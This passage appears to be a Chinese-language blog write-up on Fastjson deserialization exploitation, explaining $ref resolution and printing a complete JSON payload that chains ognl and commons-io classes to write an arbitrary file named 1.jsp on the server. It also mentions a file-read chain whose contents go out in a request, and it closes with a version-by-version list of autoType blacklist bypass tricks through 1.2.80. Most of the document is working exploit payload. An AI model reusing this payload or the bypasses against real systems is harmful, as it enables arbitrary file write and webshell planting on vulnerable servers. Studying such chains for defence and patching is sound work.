"$ref": "$.su16.node.p.stream"
表示引用根对象下su16
对象的node
对象下的p
对象下的stream
对于引用来说,在DefaultJSONParser的parseObject中,当解析到引用时并不会立即解析,而是先编译然后加到任务队列
然后使用null作为该引用的解析结果,然后返回到外层JSON.parse中
然后在JSON.parse中处理所有引用关系,此时开始真正解析引用类型
在handleRsovleTask中,遍历任务队列,解析引用类型,然后调用getObject拿到该引用类型的值
在getObject中比较简单,遍历所有树节点,这些树节点是提前解析好的了,已经有对应的值存储在节点里,然后判断该引用是否跟节点相同,相同就返回节点对应的值。
$.su16.node.p.stream
的值为BOMInputStream
第二次解析$.su17.bOM.bytes
由于在之前所有节点中并没有该引用,所以返回null
refValue为null时,会解析该封装成JSONPath,并调用eval解析
然后会将JSONPath分成三个属性段,第一个为su17,第二个为bOM,第三个为bytes
然后调用eval方法取每个属性段的值
然后在JSONPath.getPropertyValue方法中
如果currentObject是Map类型,他首先会在currentObject取属性段的值。若不是Map类型,则调用getter方法去取对应属性的值。
为什么不合在一起写成"$ref": "$.su16.node.p.stream.bom.bytes"
?
一开始从节点中找不到这个$.su16.node.p.stream.bom.bytes
,所以refValue为null,然后调用JSONPath.eval解析该路径,JSONPath.eval会将该路径解析成一个个属性段,然后将调用属性段的eval方法将返回值给currentObject,下次循环再将currentObject进行传参调用eval方法
所以这个路径$.su16.node.p.stream.bom.bytes
是这样解析的
$的值为Evaluation类
然后调用Evaluation类的getNode方法获取node(ASTMethod类)
然后ASTMethod类的getter方法获取p,由于p没有getter方法所以返回null
然后将currentObjct(null)作为参数接着执行属性段的eval方法
然后在JSONPath.getPropertyValue方法判断currentObjct为null,所以返回null,再赋值给currentObject
所以p属性段的解析结果为null,后面继续循环4-6步骤
最终返回currentObject为null
"su17": {
"$ref": "$.su16.node.p.stream"
},
"su18": {
"$ref": "$.su17.bOM"
}
su17拿到BOMInputStream对象,然后调用getBOM方法
调用in.read(),in为ReaderInputStream
reader为URLReader,调用URLReader的read()方法
调用getReader方法
url封装了读取文件的结果,将url作为参数,调用Source.readFully()方法
发起请求,将读取的文件外带
写文件
使用ognl库配合commons-io库
这条链配合了commons-io那条链(XmlStreamReader链来完成文件读写操作)
{
"su14": {
"@type": "java.lang.Exception",
"@type": "ognl.OgnlException"
},
"su15": {
"@type": "java.lang.Class",
"val": {
"@type": "com.alibaba.fastjson.JSONObject",
{
"@type": "java.lang.String"
"@type": "ognl.OgnlException",
"_evaluation": ""
}
},
"su16": {
"@type": "ognl.Evaluation",
"node": {
"@type": "ognl.ASTMethod",
"p": {
"@type": "ognl.OgnlParser",
"stream": {
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"@type":"org.apache.commons.io.input.ReaderInputStream",
"reader":{
"@type":"org.apache.commons.io.input.CharSequenceReader",
"charSequence":{"@type":"java.lang.String""aa大于8192个字符"
},
"charsetName":"UTF-8",
"bufferSize":1024
},
"branch":{
"@type":"org.apache.commons.io.output.WriterOutputStream",
"writer":{
"@type":"org.apache.commons.io.output.FileWriterWithEncoding",
"file":"1.jsp",
"encoding":"UTF-8",
"append": false
},
"charsetName":"UTF-8",
"bufferSize": 1024,
"writeImmediately": true
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
},
"charsetName": "UTF-8",
"bufferSize": 1024
},
"boms": [{
"@type": "org.apache.commons.io.ByteOrderMark",
"charsetName": "UTF-8",
"bytes": [
36,82
]
}]
}
}
}
},
"su17": {
"@type": "ognl.Evaluation",
"node": {
"@type": "ognl.ASTMethod",
"p": {
"@type": "ognl.OgnlParser",
"stream": {
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{"$ref": "$.su16.node.p.stream.delegate.reader.is.input"},
"branch":{"$ref": "$.su16.node.p.stream.delegate.reader.is.branch"},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
},
"charsetName": "UTF-8",
"bufferSize": 1024
},
"boms": [{
"@type": "org.apache.commons.io.ByteOrderMark",
"charsetName": "UTF-8",
"bytes": [
36,82
]
}]
}
}
}
},
"su18": {
"@type": "ognl.Evaluation",
"node": {
"@type": "ognl.ASTMethod",
"p": {
"@type": "ognl.OgnlParser",
"stream": {
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{"$ref": "$.su16.node.p.stream.delegate.reader.is.input"},
"branch":{"$ref": "$.su16.node.p.stream.delegate.reader.is.branch"},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
},
"charsetName": "UTF-8",
"bufferSize": 1024
},
"boms": [{
"@type": "org.apache.commons.io.ByteOrderMark",
"charsetName": "UTF-8",
"bytes": [
36,82
]
}]
}
}
}
},
"su19": {
"@type": "ognl.Evaluation",
"node": {
"@type": "ognl.ASTMethod",
"p": {
"@type": "ognl.OgnlParser",
"stream": {
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{"$ref": "$.su16.node.p.stream.delegate.reader.is.input"},
"branch":{"$ref": "$.su16.node.p.stream.delegate.reader.is.branch"},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
},
"charsetName": "UTF-8",
"bufferSize": 1024
},
"boms": [{
"@type": "org.apache.commons.io.ByteOrderMark",
"charsetName": "UTF-8",
"bytes": [
36,82
]
}]
}
}
}
},
}
这里的原理和上面的读文件相同,只不过在构造ReaderInputStream时,传入的reader为XmlStreamReader,触发了commons-io文件读写那条链
后面su17、su18、su19
是为了触发三次写入,之前说过写一次限制为4096字节,而只有当写入超过8192字节才会刷新缓存区真正写入到文件中;
XmlStreamReader在构造器方法中会触发doRawStream()方法,在doRawStream()方法中触发getBOMCharsetName(),在getBOMCharsetName()中触发getBOM(),getBOM()触发TeeInputStream的read()方法,此时TeeInputStream为同一个对象(因为引用了上一个对象),就可以达循环读写。
总结
还有其他一些比较冷门的利用链,就没必要看了
fastjson=1.2.83
1.2.83中,在ParserConfig的checkAutoType中,
若为Throwable的子类,则clazz置null,并返回
同时类名以Exception或者Error结尾的都会返回null
两层防御导致有关ThrowableDeserializer那条链的绕过失效;
重新审视这张图
唯一能利用expectClass进行绕过的只有JavaBeanDeserializer这条链,而需要有一个类满足一些条件,且他的deserializer为JavaBeanDeserializer,这时就可以绕过checkAutoType的检测;
1.2.83及以上未爆出新的漏洞了,但是根据FastJSON的尿性,估计肯定还会有不少漏洞,肯定也有不少师傅存着一些POC在偷偷利用也说不定;
总结
1.2.24之下无限制,随便玩
1.2.25到1.2.41新增黑白名单,使用L
开头;
结尾进行绕过
1.2.42双写L
开头;
结尾进行绕过
1.2.43使用[
进行绕过
1.2.47及以下使用MiscCodec类刷新缓存绕过
1.2.48cache为false,不给存入缓存
1.2.48到1.2.80利用expectClass绕过
-1.2.48到1.2.68使用AutoCloseable进行绕过
-1.2.69到1.2.80使用ThrowableDeserializer进行绕过